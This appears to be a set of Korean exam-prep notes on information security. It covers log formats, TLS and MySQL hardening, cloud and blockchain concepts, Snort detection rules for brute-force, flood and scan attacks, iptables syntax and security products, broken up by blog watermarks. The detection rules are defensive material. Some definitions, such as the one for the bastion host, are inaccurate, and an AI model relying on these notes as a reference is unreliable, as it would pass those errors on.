에러 로그	클라이언트의 요청으로 웹 서버에 오류가 발생했을 경우 에러 로그에 기록
NCSA ELF 포맷	**설명**
Host	클라이언트의 IP 주소나 호스트 이름
Ident	클라이언트를 인증하기 위해 사용 - 사용하지 않음
Authuser	인증된 사용자의 이름 - 사용하지 않음
Data and Time	클라이언트 요청이 발생한 시간
Request	요청 메소드(GET, POST 등)와 요청한 리소스(URI)를 포함
Status	서버의 응답 상태 코드
Bytes	클라이언트에게 전송된 바이트 수
Referer	클라이언트가 현재 요청한 페이지로 유입된 이전 페이지의 URL
User-Agent	클라이언트가 사용하는 브라우저나 기기의 종류, 버전 및 운영 체제 등을 포함

tishac.tistory.com

보안서버 구축
인터넷상에서 정보를 암호화하여 송수신하는 기능이 구축된 웹서버 정보유출 방지 : 중요정보에 대해 암호통신을 수행

위조/가짜 사이트 방지 : SSL/TLS 인증서가 진짜 사이트임을 증명 기업 신뢰도 향상 : 개인정보를 안전하게 관리한다는 가시적인 홍보 효과 - openssl 툴을 이용해 RSA 서버 개인키를 생성
SSL/TLS 관련 보안 가이드
1. 키쌍 생성 시 2048bit 이상의 키를 사용하고 서버 개인키에 대한 접근은 최소화하며 안전하게 관리 - 생성된 서버 인증서의 필드 중 공개키 항목을 통해 키 길이를 확인
2. 인증서 발급 시 인증서 서명 알고리즘을 SHA-2(256bit)이상으로 설정 - SHA-2(256bit) 이상의 서명 해시 알고리즘을 사용
3. 인증서 발급 시 주체/소유자의 CN 을 서브 도메인까지 정확히 명시 - 서브 도메인을 명시하지 않으면 임의의 서브 도메인 인증서로 악용
4. 신뢰할 수 있는 인증기관을 통해 인증서를 발급 - 신뢰할 수 있는 인증기관에서 발급한 인증서가 아니라면 웹 브라우저에서 경고 메시지를 표시
OpenSSL 라이브러리 보안 가이드
OpenSSL 버전을 확인하기 위해서는 openssl version 명령 또는 -a 옵션을 추가해서 상세 정보를 확인 취약한 통신 비활성화 : #SSLProtocol all -SSLv2 -SSLv3 SSL/TLS 버전을 지정 : SSLProtocol -all +TLSv1 +TLSv1.1 +TLSv1.2 취약한 암호방식 제거 : #SSLCipherSuite ALL - httpd-ssl.conf 또는 ssl.conf 파일에서 SSL/TLS 설정

데이터베이스

tishac.tistory.com

트랜잭션	설명
원자성	트랜잭션 내의 모든 연산은 반드시 한꺼번에 완료되어야 하며, 그렇지 못한 경우는 한꺼번에 취소
일관성	트랜잭션이 성공적으로 완료되면 일관성 있는 데이터베이스 상태로 변환
격리성	트랜잭션 실행 중에 있는 연산의 중간 결과는 다른 트랜잭션이 접근하지 못함
영속성	트랜잭션이 일단 그 실행을 성공적으로 완료하면 그 결과는 영속적

SQL 문	설명
DML	사용자가 DBMS 를 통해서 원하는 데이터를 조작하는데 사용하는 SQL 문 SELECT : 데이터 조회 UPDATE : 데이터 수정 INSERT : 데이터 삽입 DELETE : 데이터 삭제
DDL	데이터베이스 객체를 정의하거나 삭제 또는 변경하기 위해 사용하는 SQL 문 CREATE : 객체 정의 DROP : 객체 삭제 ALTER : 객체 변경

DCL	데이터베이스 관리 목적으로 사용자에게 데이터베이스 객체에 대한 권한을 부여하거나 제거할 때 사용하는 SQL 문 GRANT : 권한 부여 REVOKE : 권한 삭제
TCL	논리적인 작업의 단위를 묶어서 DML 에 의해 처리된 결과를 작업단위로 제어하는 명령어 COMMIT : 변경 내용 반영 ROLLBACK : 변경사항 되돌리기

접근 통제	설명
뷰(View) 기반 접근 통제	뷰는 하나 이상의 기본 테이블로부터 유도되어 만들어지는 가상의 테이블로 일반적으로 뷰의 내용은 실제로 존재하는 것이 아니라 뷰에 대한 조작 유구 시마다 기본 테이블의 데이터를 이용하여 만들어짐 - 특정 필드만 접근할 수 있도록 뷰를 생성하여 뷰에만 접근 권한을 부여하여 권한 없는 사용자로부터 민감한 정보를 은닉할 수 있음
SQL 기반 접근 통제(GRANT/REVOKE 기법)	데이터베이스 객체에 대한 작업 권한을 제한 GRANT 사용 : GRANT [부여할 권한] ON [데이터베이스 객체] TO [사용자] REVOKE 사용 : REVOKE [해제할 권한] ON [데이터베이스 객체] FROM [사용자] DENY 사용 : DENY [거부할 권한] ON [데이터베이스 객체] TO [사용자]

데이터베이스 보안 위협	설명
집성	낮은 보안 등급의 정보 조각들을 조합하여 높은 보안 등급의 정보를 알아내는 행위
추론	보안 등급이 없는 일반 사용자가 보안으로 분류되지 않은 정보를 정당하게 접근하여 기밀 정보를 유추하는 행위

데이터베이스 보안 통제	설명
접근통제	데이터베이스 사용자가 가진 접근 권한의 범위 내에서 데이터 접근을 허용하는 것
추론통제	통계 정보 등 간접적으로 노출된 데이터를 통해서 민감/기밀 데이터가 유추되어 공개되는 것을 방지하는 것
흐름통제	접근이 가능한 객체 간의 정보의 흐름을 조정하는 것

데이터베이스 암호화 기술	
데이터베이스 암호화 방식은 테이블의 컬럼 단위로 데이터를 암호화하여 저장하는 컬럼 암호화 방식과 DBMS 블록 또는 파일 블록 단위로 암호화하여 저장하는 암호화 방식이 있음	
암호화 방식	**설명**
컬럼 암호화 방식	테이블의 컬럼 단위로 데이터를 암호화하여 저장하는 방식 API 방식 : 암/복호화 모듈이 API 라이브러리 형태로 각 어플리케이션 서버에 설치되어 호출 Plug-In 방식 : 암/복호화 모듈이 DB 서버에 설치되고 DB 서버에서 플러그인으로 호출

	Hybrid 방식 : 대용량 처리는 API 방식을 사용하고 나머지 부분들은 Plug-In 방식을 사용
블록 암호화 방식	DBMS 블록 또는 파일 블록 단위로 암호화하여 저장하는 방식 TDE 방식 : DBMS 에 내장된 암호화 기능을 이용하여 DB 내부에서 데이터 파일 저장 시 암호화하고 파일에 저장된 내용을 메모리 영역으로 가져올 때 DBMS 에 의해 자동으로 복호화 파일 암호화 방식 : 운영체제에서 파일을 암호화하는 방식으로 파일에 대해 직접 암호화를 수행하므로 DB 파일 뿐만 아니라 로그파일, 이미지 파일, 음성/영상 등의 다양한 비정형 데이터에 대한 암호화 적용이 가능

Mysql DBMS 취약점 점검	설명
디폴트 관리자 패스워드 및 계정명을 변경	mysql db 의 user 테이블에 root 사용자의 정보를 확인하여 변경
mysql 설치 시 서버에 자동으로 생성되는 mysql 계정의 로그인을 차단	/etc/passwd 파일의 mysql 계정 점검
원격에서 mysql 서버로의 접속을 차단	mysql 의 3306/tcp 포트 차단, my.cnf 파일에 skip-networking 추가
데이터베이스의 사용자별 접속/권한 설정 확인	user 테이블의 host 컬럼을 확인하여 접근, 권한을 설정
mysql 버전 확인 및 보안패치 적용 여부 점검	mysql -V 또는 mysql -version 명령을 통해서 버전을 확인
mysql 데이터 디렉터리 보호 여부 점검	my.cnf 파일을 통해 데이터 디렉터리 위치를 확인하여 점검

tishac.tistory.com

어플리케이션 응용

클라우드 컴퓨팅	
클라우드 컴퓨팅은 각종 정보통신자원을 이용자의 요구나 수요 변화에 따라 정보통신망을 통하여 유동적으로 이용할 수 있도록 하는 정보처리체계 가상화 : 클라우드 컴퓨팅의 핵심기술로 IT 자원을 동시에 다수의 논리적인 IT 자원으로 사용할 수 있는 기술	
컴퓨팅 환경	**설명**
구축형 환경	많은 초기 구매 비용과 인력, 패치 및 업그레이드 등 높은 유지비용을 요구
클라우드 환경	초기 투자비용이 없고 사용한 만큼의 비용을 지불
가상화	**설명**

데스크톱 가상화	다양한 이기종 환경을 사용자 컴퓨터에서 가상화 기술을 통해 이용하는 방식
어플리케이션 가상화	어플리케이션을 가상화하여 설치하지 않고 중앙의 가상화 서버를 통해 제공하는 방식
서버 가상화	물리적인 다수의 서버를 가상 서버로 통합하여 전체 관리비용을 감소시키는 방식
스토리지 가상화	개별 스토리지를 통합하여 저장 용량이 하나로 통합된 가상 스토리지를 만들고 재할당하는 방식
네트워크 가상화	네트워크 리소스를 물리적 요소가 아니라 논리적 요소로 구축하고 관리하는 기술
서비스 모델	**설명**
IaaS	하드웨어 인프라 자원만을 사용량 기반으로 제공
PaaS	소프트웨어 인프라 자원만을 필요에 따라 제공
SaaS	클라우드 환경에서 동작하는 어플리케이션/소프트웨어를 제공
SecaaS	클라우드를 이용해 고객이 필요한 보안 서비스를 제공
배치 모델	**설명**
public 클라우드 모델	불특정 다수를 대상으로 하는 서비스로 여러 사용자가 이용하는 형태
private 클라우드 모델	클라우드 솔루션을 이용하여 내부자에게 제한적으로 서비스를 제공하는 형태
hybrid 클라우드 모델	퍼블릭과 프라이빗 클라우드가 결합된 형태로 필요에 따라 정책을 설정하여 서비스 제공
클라우드 기반 보안 서비스(SecaaS)	
기업 내 구축형 보안 솔루션 방식이 아닌 클라우드를 통해 주문형 방식으로 제공하는 보안 서비스 모델 투자 비용 : 초기 투자 비용 없이 클라우드를 통해 보안 서비스를 이용 이용 비용 : 서비스를 사용한 만큼 비용을 지불하기 때문에 경제적인 측면에서 유리 민첩 대응 : 최신 보안 위협에 민첩하게 대응할 수 있는 전문가 집단의 보안 서비스를 제공받음	
클라우드 보안 서비스 분야	**설명**
식별/접근 관리	사용자 식별 및 권한 관리
데이터 유출/손실 방지	데이터 유출 및 손실을 방지하는 기술
웹 보안	웹 애플리케이션 보안 강화
이메일 보안	이메일 통신 보호 및 스팸/악성 코드 필터링
보안 감사	업계 표준을 기반으로 클라우드 서비스에 대한 제 3 자 감사
침입 관리	외부 및 내부 침입 탐지 및 대응
보안정보 및 이벤트	보안 이벤트 및 정보의 수집, 분석, 보고
암호화	해독할 수 없도록 데이터를 암호화
업무 연속성과 재난 복구	업무 연속성 및 재난 대비 솔루션 제공
취약점 검사	시스템 및 애플리케이션의 취약점 식별 및 관리
지속적인 모니터링	시스템 및 네트워크의 지속적인 보안 모니터링

techacademy.com

블록체인	
거래 정보를 블록으로 연결하여 피투피 네트워크 분산 환경에서 참여자들이 개인 디지털 장비에 분산/저장시켜 공동으로 관리하는 방식	
블록체인 특징	**설명**
탈중앙화	참여자들이 직접 검증과 승인 및 합의 등의 활동을 통해 만들고 관리
투명성	새로운 블록은 생성되자마자 동시에 모든 참여자에게 전송되어 공유
불변성	블록이 순차적으로 연결되면 연결된 블록은 수정하거나 삭제하기 어려움
가용성	분산 저장되므로 어느 하나 문제가 생겨도 전체 시스템이 유지
블록체인 기반 기술	**설명**
분산 네트워크	정보는 참여하는 모든 노드들이 가지고 있으며 동일한 거래 내역이 분산 저장되어 관리
암호기술	거래 시 생성되는 전자서명을 검증하여 거래내역이 변경되지 않았음을 입증
이중 거래 방지	동시에 두 곳 이상의 계좌로 송금하는 행위를 방지하기 위해서 총 통화량 - The Longest Chain Wins 메커니즘을 이용
합의 기법	작업증명과 지분증명을 이용
블록체인 종류	**설명**
퍼블릭 블록체인	누구나 참여할 수 있는 블록체인
프라이빗 블록체인	합의 과정에 참여하려면 사전 승인이 필요한 블록체인
블록체인 문제	**설명**
프라이버시 문제	개인정보 삭제 또는 잊혀질 권리를 행사할 수 없음
키 도난 및 분실	키를 분실할 경우 자산 이전이 불가능해질 수 있음
사용성 저하	참여자수가 증가할수록 거래 처리속도가 저하

사물 인터넷
유비쿼터스 공간을 구현하기 위한 인프라 컴퓨팅 기기들이 환경과 사물에 융합되어 환경이나 사물 그 자체가 지능화되는 것부터 사물 통신의 개념까지 인터넷으로 확장하여 사물은 물론 현실과 가상 세계의 모든 정보와 상호 작용하는 개념으로 진화 M2M : 기계와 기계 사이의 통신 HVAC : 난방, 통풍, 냉방 등 실내 및 자동차 환경을 조절하는 시스템 기술 군집주행 : 간격 제어를 통해 움직임 및 잠재적인 이상상황 정보를 교환하여 제어를 통해 유지 AMI : 스마트 미터에서 측정한 데이터를 원격 검침기를 통해 측정하여 전력 사용 분석을 자동으로 진행하는 기술

침해사고 분석 및 대응

패킷 탐지/차단 도구

snort	
마틴 로시에 의해 처음으로 개발된 네트워크 트래픽을 더 많이 감시하고 분석하는 침입탐지시스템 - snort 의 발전형으로 수리카타가 있음	
제공 기능	**설명**
패킷 스니퍼	네트워크상의 패킷을 스니핑하여 보여주는 기능
패킷 로거	모니터링한 패킷을 저장하고 로그에 남기는 기능
네트워크 IDS/IPS	네트워크 트래픽을 분석하여 공격을 탐지/차단하는 기능
Snort rule	**설명**
헤더 부분	처리할 패킷을 판단하는 기준을 명시 헤더 필드 : [action] [protocol] [ip address] [port] [direction] [ip address] [port] 로 헤더 부분을 구성할 수 있음
	Rule Actions : 패킷이 탐지되었을 때의 처리방식(alert 를 많이 사용)
	Protocols : 탐지할 프로토콜로 TCP, UDP, ICMP, IP 프로토콜을 지원
	IP Addresses : 출발지/목적지 IP(IP 대역도 가능)
	Port Numbers : 출발지/목적지 Port(Port 범위도 가능)
	Direction Operator : 방향 지시자(-> 단방향, <> 양방향을 사용)
바디 부분	패킷을 탐지하기 위한 규칙을 명시 바디 필드 : [msg]; [content]; [offset]; [depth]; [distance]; [content]; [within]; [nocase]; 로 바디 부분을 구성할 수 있음
	msg : alert 발생 시 이벤트 이름으로 사용
	content : 페이로드에서 검사할 문자열을 지정
	offset : 페이로드에서 content 패턴을 검사할 시작위치(없을 시 0 부터 시작)
	depth : offset 부터 몇 바이트까지 검사할 것인지 지정
	distance : 이전 content 매칭 이후 몇 바이트 떨어진 위치에서 content 패턴을 검사할 시작위치
	within : distance 부터 몇 바이트까지 검사할 것인지 지정
	nocase : 페이로드 검사 시 대/소문자를 구별하지 않음
	pcre : 정규표현식 문법을 지원하여 문자열 탐지의 유연성을 가짐
	http_method : HTTP 메소드 부분을 검사(HTTP 관련 옵션이 많음)
룰 바디 이벤트 제한	
특정 시간동안 발생되는 이벤트 수를 제한하기 위한 옵션 이벤트 까지 : threshold:type <limit>, track <by_src|by_dst>, count <c>, seconds <s> 이벤트 마다 : threshold:type <threshold>, track <by_src|by_dst>, count <c>, seconds <s>	

tishac.tistory.com

이벤트 시 한번 : threshold:type <both>, track <by_src|by_dst>, count <c>, seconds <s>
- track 설정은 by_src 는 출발지 IP 를 기준으로, by_dst 는 목적지 IP 를 기준으로 추적
- count 설정은 몇 번째 이벤트/몇 번 이벤트 이상
- seconds 설정은 매 몇 초/몇 초

공격/비정상 패킷 탐지	설명
FTP root 로그인 시도 탐지	alert tcp any any -> 10.10.10.0/24 21 (msg:"FTP root user access"; content: "User root"; nocase; sid:100100;)
Telnet root 로그인 성공 탐지	alert tcp 10.10.10.0/24 23 -> any any (msg:"Telnet login success"; content:"login"; pcre:"/root@.*#/*"; nocase; sid:100110;)
Telnet 로그인 Brute Force/Dictionary Attack 공격 탐지	alert tcp 10.10.10.0/24 23 -> any any (msg:"Telnet login brute force attack"; content:"Login incorrect"; nocase; threshold:type limit, track by_dst, count 1, seconds 5; sid:1000120;)
FTP 로그인 Brute Force/Dictionary Attack 공격 탐지	alert tcp 10.10.10.0/24 21 -> any any (msg:"FTP login brute force attack"; content:"Login incorrect"; nocase; threshold:type threshold, track by_dst, count 5, seconds 30; sid:1000130;)
SSH 로그인 Brute Force/Dictionary Attack 공격 탐지	alert tcp any any -> 10.10.10.0/24 22 (msg:"SSH login brute force attack"; content:"SSH-2.0"; nocase;

tishac.tistory.com

	threshold:type both, track by_src, count 5, seconds 30; sid:1000150;)
HTTP GET Flooding 공격 탐지	alert tcp any any -> 10.10.10.0/24 80 (msg:"HTTP Get Flooding attack"; content:"GET / HTTP1. "; depth:13; nocase; threshold:type threshold, track by_src, count 100, seconds 1; sid:1000160;)
TCP SYN Flooding 공격 탐지	alert tcp any any -> 10.10.10.0/24 80 (msg:"TCP SYN Flooding attack"; flags:S; threshold:type threshold, track by_src, count 5, seconds 1; sid:1000170;)
UDP Flooding 공격 탐지	alert udp any any -> $HOME_NET any (msg:"UDP Flooding attack"; threshold:type threshold, track by_src, count 5, seconds 1; sid: 1000180;)
사설 IP 탐지	alert udp 10.0.0.0/8 any -> $HOME_NET any (msg:"Private IP(10.) Detect"; sid:100200;)
출발지와 목적지가 동일한 IP 탐지	alert ip any any -> $HOME_NET any (msg:"Land Attack(SRC/DST SameIP) Detect"; sameIP; sid:100230;)
SYN_FIN Scan TCP 패킷 탐지	alert tcp any any -> 10.10.10.0/24 any (msg:"SYN_FIN Scan Detect"; flags:SF; sid:100240;

tishac.tistory.com

	)
SYN_FIN+ Scan TCP 패킷 탐지	alert tcp any any -> 10.10.10.0/24 any (msg:"SYN_FIN+ Scan Detect"; flags:SF+; sid:100250;)
NULL Scan TCP 패킷 탐지	alert tcp any any -> 10.10.10.0/24 any (msg:"NULL Scan Detect"; flags:!UAPRSF; sid:100270;)

iptables	
패킷 필터링 기능이 있는 리눅스 커널에 내장된 netfilter 기능을 관리하기 위한 도구 - 확장 모듈을 통한 다양한 기능의 제공 기본 구문 : iptables [테이블] [체인] [룰] [타겟] 형식이며 대소문자를 구별함	
제공 기능	**설명**
상태추적	모든 패킷에 대한 연결 상태를 추적하는 기능 제공 - TCP 상태 식별을 위한 상태추적 기능 활용
NAT 기능	네트워크 주소 변환 기능 제공
로깅 기능	패킷 레벨에서의 로깅 기능 제공 - 확장 모듈을 통한 다양한 기능의 제공
정책 설정	**설명**
테이블	패킷이 이동하는 경로인 체인의 룰 추가/삭제/확인 iptables -A [체인] : 해당 체인의 제일 마지막에 룰을 추가 iptables -I [체인] : 해당 체인의 첫 행에 룰을 추가(n 지정 시 특정 위치에 룰 추가) iptables -D [체인] : 해당 체인의 해당 룰을 삭제(n 지정 시 특정 위치의 룰 삭제) iptables -L [체인] : 해당 체인에 등록된 룰 리스트 확인(-n 추가 시 숫자 형식 출력) iptables -F [체인] : 해당 체인에 등록된 모든 룰을 삭제 iptables -P [체인] [정책] : ACCEPT/DROP/REJECT 기본 정책 지정
체인	3 가지 체인이 존재 INPUT Chain : 방화벽을 최종 목적지로 하는 체인 OUTPUT Chain : 방화벽을 최초 출발지로 하는 체인 FORWARD Chain : 방화벽을 경유하도록 하는 체인
룰	패킷을 필터링하기 위한 룰 설정 호스트 식별 : -s[출발지 IP 또는 IP 대역] 또는 -d[목적지 IP 또는 IP 대역] 서비스 식별 : --sport[출발지 포트 번호] 또는 --dport[목적지 포트 번호] 메시지 식별 : --icmp-type [메시지 타입]

tishacrisstory.com

	TCP 플래그 식별 : -p tcp --tcp flags [검사할 플래그] [설정되어야 할 플래그] TCP 상태 식별 : -m state --state [탐지할 상태]
타겟	타겟 설정을 통해 룰에 매칭될 때 적용할 정책을 지정 해당 패킷 허용 : -j ACCEPT 해당 패킷 차단(응답 메시지 전송 안함) : -j DROP 해당 패킷 차단(ICMP 에러 메시지 응답) : -j REJECT 탐지 로그 기록 : -j LOG
상태추적	**설명**
TCP 프로토콜의 상태 정보	TCP 상태 식별을 위한 상태추적 기능 활용 -m state --state NEW : 최초로 들어온 패킷의 상태 -m state --state ESTABLISHED : 연결 정보를 가지고 있는 패킷의 상태 -m state --state RELATED : 연관된 연결 정보를 가지고 있는 패킷의 상태 -m state --state INVALID : 어떤 상태에도 해당하지 않는 패킷 상태
	1. SYN 패킷 : SYN 패킷이 보이면 NEW 상태(inbound)
	2. SYN+ACK 패킷 : SYN+ACK 패킷이 보이면 ESTABLISHED 상태
	3. ACK 패킷 : 연결종료 시 마지막 ACK 패킷이 보이기 전까지는 ESTABLISHED 상태
UDP 프로토콜의 상태 정보	1. UDP 패킷 유입 : 최초로 들어온 패킷은 NEW 상태(inbound)
	2. 정보 유지 : 내부적인 TTL 이 유지되는 동안에 ESTABLISHED 상태
확장 모듈	**설명**
connlimit	동일한 IP 또는 IP 대역의 동시 연결 개수에 대한 제한을 할 수 있는 모듈 형식 : --connlimit [-above n | -mask mask]
limit	불필요한 로그를 남기지 않도록 할 때 사용하는 모듈 형식 : --limit [n/s | n/m | n/h | n/d]
recent	동적으로 source IP 목록을 생성하여 이를 기반으로 패킷을 제어하는 기능을 제공하는 모듈 형식 : recent [--name | --set | --rcheck | --update | --seconds | --hitcount]

보안 솔루션

네트워크 보안 솔루션	**설명**
WIPS	무선침입방지시스템은 외부 공격으로부터 내부 시스템을 보호하기 위해 무선랜 환경에서의 보안 위협을 탐지하고 대응하는 시스템 - 보안에 취약한 무선 공유기를 탐지 - 인가되지 않은 무선 단말기의 접속을 자동으로 탐지 및 차단
NAC	네트워크접근제어는 단말기가 내부 네트워크에 접속을 시도할 때 이를 제어하고 통제하는 기능을 제공하는 솔루션 접근 제어/인증 : 역할, IP 기반 접근 제어 무결성 체크 : 백신, 패치, 자산 관리 탐지 및 차단 : 유해 트래픽 탐지 및 차단과 해킹 행위 차단, 증거 수집 능력

UTM	통합보안시스템은 다양한 보안 기능을 하나의 장비로 통합하여 제공하는 보안 솔루션 - 방화벽, 침입탐지/방지시스템, 가상사설망, 안티바이러스 등 - 다양한 보안 기능을 수행하므로 경제성과 보안 관리 및 운영에 편리

시스템(단말) 보안 솔루션	설명
EDR	엔드포인트 탐지 및 대응 솔루션은 PC, 모바일, 서버 등 엔드포인트에서 발생하는 악성 행위를 실시간으로 감지하고 이를 분석 및 대응하여 피해확산을 막는 솔루션 모니터링 : 실행되는 프로세스 기반의 모든 행위를 지속적으로 모니터링 악성 행위 분석 : 프로세스, 레지스트리, 파일 사용자 등 다양한 영역의 정보를 분석
스팸차단 솔루션	메일 서버 앞단에 위치하여 프록시 메일 서버로 동작하며 스팸메일 차단 기능 등을 수행하는 솔루션 - 메일에 대한 바이러스 검사 - 검색 기능을 통한 내부정보 유출 방지 등의 확장 기능
보안운영체제	보안 기능이 있는 통합된 보안 커널을 추가로 이식한 운영체제 - 기본적으로 열려 있는 취약 서비스를 모두 차단

컨텐츠/정보유출방지 보안 솔루션	설명
보안 USB	정보유출방지 등의 보안 기능을 갖춘 USB 메모리 - 사용자 식별/인증, 저장데이터 암/복호화, 저장된 자료의 임의 복제 방지 등
DRM	디지털 저작권 관리는 저작권자가 배포한 디지털 자료나 하드웨어의 사용을 제어하고 이를 의도한 용도로만 사용하도록 제어하는데 사용되는 모든 기술 파일 암호화 : 파일 자체에 암호를 걸어 권한 없는 사용자는 사용하지 못하도록 함 문서 DRM : 기업에서 사용하는 문서 보안 솔루션으로 문서를 저장할 때 암호화하여 저장
DLP	데이터유출방지는 조직 내부의 중요 자료가 외부로 빠져나가는 것을 탐지하고 차단하는 솔루션 실시간 차단과 모니터링 : 유출 방지를 위해 정보의 흐름에 대한 모니터링과 실시간 차단 네트워크 DLP : 네트워크를 통하여 정보가 유출되는 것을 방지 단말 DLP : 이동식 저장 매체와 출력물 등을 통해 유출되는 것을 방지

인증 솔루션	설명
SSO	한 번의 사용자 인증으로 여러 시스템에 접근할 수 있는 통합인증 솔루션
EAM	SSO 와 사용자별/그룹별 접근 권한 통제를 담당하는 권한관리 솔루션
IAM	EAM 을 보다 포괄적으로 확장한 보안 솔루션으로 조직이 필요로 하는 보안 정책을 수립하고 자동으로 사용자에게 계정을 만들어 주며 사용자는 자신의 위치와 직무에 따라 적절한 계정 및 권한을 부여받을 수 있을 뿐만 아니라 사용자 정보의 변경과 삭제도 실시간으로 반영

암호 솔루션	설명

tishactistory.com

HSM	하드웨어보안모듈은 암호화된 데이터를 보호하는 암호화 키/디지털 키에 대한 안전한 저장/관리 및 고속의 암호화 처리를 수행할 수 있는 전용의 하드웨어 장비

ESM	
다양한 보안장비에서 발생하는 보안정보를 통합적으로 수집 및 관리하여 불법적인 행위에 대응할 수 있도록 하는 통합 보안 관리 시스템 상호 연관 분석 : 동종 또는 이기종의 여러 보안 솔루션에서 발생하는 로그, 보안 이벤트 패턴 간에 연관성을 분석	
구성 요소	**설명**
ESM 에이전트	관리 대상 보안장비에 설치되어 사전에 정의된 규칙에 따라 로그 및 이벤트 데이터를 수집하여 ESM 매니저로 전달
ESM 매니저	ESM 에이전트를 통해 수집된 데이터를 저장, 분석하여 그 결과를 ESM 콘솔로 전달
ESM 콘솔	ESM 매니저에 의해 전달된 정보의 시각적 전달, 상황 판단 및 리포팅 등의 기능을 제공 - ESM 콘솔에서 ESM 에이전트와 ESM 매니저에 대한 제어/통제를 수행

SIEM	
ESM 의 진화된 형태로 보안장비 뿐만 아니라 각종 서버 장비, 네트워크 장비, 어플리케이션 등 다양한 범위내에서 발생하는 로그와 이벤트를 수집하여 빅데이터 기반의 상관관계 분석을 통해 위협을 사전에 차단하는 통합보안관제 솔루션 데이터 통합 : 다양한 장비에서 발생한 데이터를 수집하여 통합 분석을 수행 로그 수집 : 관제 대상 시스템에 설치된 에이전트 및 SNMP, syslog 서버로부터 로그를 수집하는 과정 로그 변환 : 다양한 로그 형식을 표준 형식으로 변환하는 과정 상관관계 분석 : 수집한 데이터를 유용한 정보로 만들기 위해 다양한 상관 관계 분석 기능을 제공 로그 분류 : 이벤트 발생 누적 횟수 등 유사 정보를 기준으로 그룹화하여 분류하는 과정 로그 분석 : 표준 형식으로 변환된 로그 중에서 타임 스탬프, IP 주소 등을 기준으로 연관성을 분석하는 과정 알림 : 이벤트를 관리자에게 이메일, SMS 로 알림 대시보드 : 이벤트 데이터를 가지고 패턴을 표시하여 정보를 제공하거나 표준 패턴을 형성하지 않는 활동을 파악	
주요 기능	**설명**
로그 수집	네트워크 장비, 서버, 어플리케이션 등에서 발생하는 로그 데이터를 중앙화된 시스템으로 수집
실시간 모니터링	실시간으로 보안 이벤트를 모니터링 하여 비정상적인 활동을 즉시 탐지
이벤트 상관 분석	다양한 소스에서 수집된 데이터를 상호 연관 지어 분석함으로써 복합적인 보안 위협을 식별
경고 및 알림	잠재적인 보안 위협이 탐지될 경우, 관리자에게 즉각적으로 알림
보고서 작성	보안 이벤트와 관련된 보고서를 생성하여 규제 준수 및 감사 요구 사항을 충족
구성 요소	**설명**
로그 수집기	다양한 소스에서 로그 데이터를 수집하여 SIEM 시스템으로 전달
데이터 저장소	수집된 로그 데이터를 저장하고 관리하는 역할
분석 엔진	저장된 데이터를 분석하여 보안 이벤트를 탐지하고 상관 분석을 수행

대시보드 및 보고서	관리자에게 실시간 모니터링 정보와 분석 결과를 시각적으로 제공하며, 필요한 보고서를 생성
경고 시스템	이상 징후가 탐지될 경우, 관리자에게 경고를 보내고 알림을 제공

SOAR	
보안 위협에 대한 자동화된 분석과 대응 환경을 만들어 보안 인력을 효율적으로 운영하면서 분석의 정확도를 높이고 대응 시간을 단축하기 위한 솔루션 SIRP : 보안 사고 대응 플랫폼(단순하고 반복적인 업무를 자동화) SOA : 보안 오케스트레이션 및 자동화(다양한 보안 시스템을 통합하고 자동화) TIP : 위협 인텔리전스 플랫폼(보안 분석가의 판단을 보조) 위협 인텔리전스 서비스 : 알려지지 않은 위협, 지능형 지속 위협과 같은 공격에 대응	
주요 기능	**설명**
업무 자동화	단순 반복 업무를 자동화, 편의성 제공, 고차원 업무 집중 환경을 제공
동적 플레이북	사전 정의된 플레이북으로 일관된 프로세스 작업을 통해 품질 편차 최소화
작업 및 스크립트	워크플로우에서 스크립트 기능을 추가하여 플랫폼 기능 자동화 운영

PMS	
기업 네트워크에 접속하는 사용자 PC 의 운영체제와 각종 어플리케이션에 대한 패치를 기업 보안 정책에 따라 자동으로 설치, 업그레이드함으로써 웜이나 바이러스 공격 등으로부터 기업의 IT 환경을 효과적으로 보호해 주는 솔루션	
구성 요소	**설명**
PMS 서버	패치를 배포하고 기업 보안 정책에 따라 이를 위반한 사용자 PC 를 인식하고 이들에게 강제적으로 정책에 맞는 수준의 보안을 적용하는 역할
PMS 에이전트	서버로부터 패치를 적용하고 사용자 PC 의 상태를 점검해서 보안 정책 위반 여부 정보를 서버에 제공하는 역할

tishac.tistory.com

EMM	
바일 장치, 무선 네트워크 및 기타 모바일 컴퓨팅 서비스를 중점 관리하여 모바일 기기의 기밀성, 무결성, 가용성을 보장하는 프로세스 및 기술 MDM : 스마트폰, 태블릿, 휴대용 컴퓨터 등의 디바이스를 관리하는 기술 MAM : 모바일 기기 전체가 아닌 일부 특정 앱에만 기업의 보안 정책을 시행하는 기술 MCM : 기업의 기밀정보와 같은 콘텐츠를 쉽고 안전하게 공유/접근하도록 하는 기술	
정책 분류	**설명**
BYOD	개인이 소유한 스마트 기기를 직장에 가져와 업무에 활용하도록 허용하는 정책 컨테이너화 : 암호화된 별도 공간에 업무용 데이터와 개인용 데이터를 분리하고 관리 모바일 가상화 : 개인용과 업무용 운영체제를 동시에 담아 개인과 사무 정보를 완전히 분리 - 민감한 기업 데이터가 훼손되거나 공격받을 위험이 있음

CYOD	기업 IT 부서가 통제권을 가지고 표준 소프트웨어를 탑재해 보안과 액세스 관리를 강화한 정책 - 기업 소유의 디바이스를 제공 받아 업무에 활용

보안장비 운영

방화벽	
조직의 보안 정책에 따라 인가된 네트워크 서비스에 대한 접근을 허가하고 인가되지 않은 서비스를 수행하는 트래픽을 철저하게 차단함으로써 효율적인 보안 서비스를 제공하는 시스템	
방화벽 분류	**설명**
네트워크 계층 방화벽	IP 주소 및 포트를 기반으로 트래픽을 필터링하여 네트워크 수준에서 보호 패킷 필터링 : IP 주소와 전송 계층의 Port 정보를 이용하여 패킷을 필터링하는 기능
세션 계층 방화벽	네트워크 계층 방화벽의 기능에 추가하여 세션 상태를 추적하고 트래픽을 제어 상태 검사 : IP 주소 및 Port 정보만 보는 것이 아니라 일정 시간 프로토콜별 연결 상태 정보를 유지하여 추적하는 기능
응용 계층 방화벽	애플리케이션 계층에서 동작하여 트래픽을 검사하고 제어 프락시 서비스: 클라이언트와 서버 간의 중개 역할을 수행하여 보안 및 성능 향상에 기여 배스천호스트: 네트워크 트래픽을 분산시켜 서비스의 가용성과 성능을 향상시키는 역할 수행 응용계층 게이트웨이: 애플리케이션 간의 통신을 관리하고 중개하여 보안 및 트래픽 제어에 기여 회선 레벨 게이트웨이: 물리적인 연결을 관리하며 데이터를 전송하면서 보안 기능을 추가하여 네트워크를 보호
구축 형태	**설명**
스크리닝 라우터 구조	라우터를 이용해 각 인터페이스에 들어오고 나가는 패킷을 필터링
